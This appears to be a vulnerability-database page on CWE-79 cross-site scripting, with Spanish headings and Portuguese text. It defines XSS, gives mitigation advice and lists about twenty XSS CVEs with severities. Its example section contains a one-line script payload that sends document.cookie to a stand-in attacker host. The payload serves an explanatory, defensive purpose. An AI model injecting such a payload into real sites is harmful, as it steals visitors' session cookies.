Fallos del tipo CWE-79

30.316 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-100180MEDIUMJeg Kit for Elementor <= 3.2.19 - Unauthenticated Stored Cross-Site Scripting via CommentEPSS 0.2%CVE-2025-4957HIGHWordPress ProfileGrid plugin <= 5.9.5.7 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-24628MEDIUMWordPress Photo Gallery by Supsystic plugin <= 1.16.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-25837MEDIUMA stored cross-site scripting (XSS) vulnerability in October CMS Bloghub Plugin v1.3.8 and lower allows attackers to execute arbitrary web sEPSS 0.2%CVE-2025-6686MEDIUMMagic Buttons for Elementor <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via magic-button ShortcodeEPSS 0.2%CVE-2026-33628MEDIUMInvoice Ninja Denylist Bypass may Lead to Stored XSS via Invoice Line ItemsEPSS 0.2%CVE-2026-2965MEDIUM07FLYCMS/07FLY-CMS/07FlyCRM System Extension edit.html cross site scriptingEPSS 0.2%CVE-2025-65187MEDIUMA Stored Cross Site Scripting vulnerability exists in CiviCRM before v6.7 in the Accounting Batches field. An authenticated user can inject EPSS 0.2%CVE-2026-57762MEDIUMWordPress Simple URLs plugin <= 151 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-43915MEDIUMCoturn: Stored Cross-Site Scripting (XSS) in web-admin interface via TURN usernameEPSS 0.2%CVE-2025-57929MEDIUMWordPress Double the Donation Plugin <= 2.0.0 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2025-8445MEDIUMCountdown Timer for Elementor <= 1.3.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'countdown_label'EPSS 0.2%CVE-2026-32612MEDIUMStatamic: privilege escalation via stored cross-site scriptingEPSS 0.2%CVE-2025-20353MEDIUMCisco Catalyst Center Cross-Site Scripting VulnerabilityEPSS 0.2%CVE-2025-50985MEDIUMdiskover-web v2.3.0 Community Edition is vulnerable to multiple reflected cross-site scripting (XSS) flaws in its web interface. UnsanitizedEPSS 0.2%CVE-2025-43926MEDIUMAn issue was discovered in Znuny through 6.5.14 and 7.x through 7.1.6. Custom AJAX calls to the AgentPreferences UpdateAJAX subaction can beEPSS 0.2%CVE-2025-50986MEDIUMdiskover-web v2.3.0 Community Edition suffers from multiple stored cross-site scripting (XSS) vulnerabilities in its administrative settingsEPSS 0.2%CVE-2024-37541MEDIUMWordPress Elementor Addons, Widgets and Enhancements – Stax plugin <= 1.5.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-63834MEDIUMA stored cross-site scripting (XSS) vulnerability was discovered in Tenda AC18 v15.03.05.05_multi. The vulnerability exists in the ssid paraEPSS 0.2%CVE-2025-67724MEDIUMTornado vulnerable to Header Injection and XSS via reason argumentEPSS 0.2%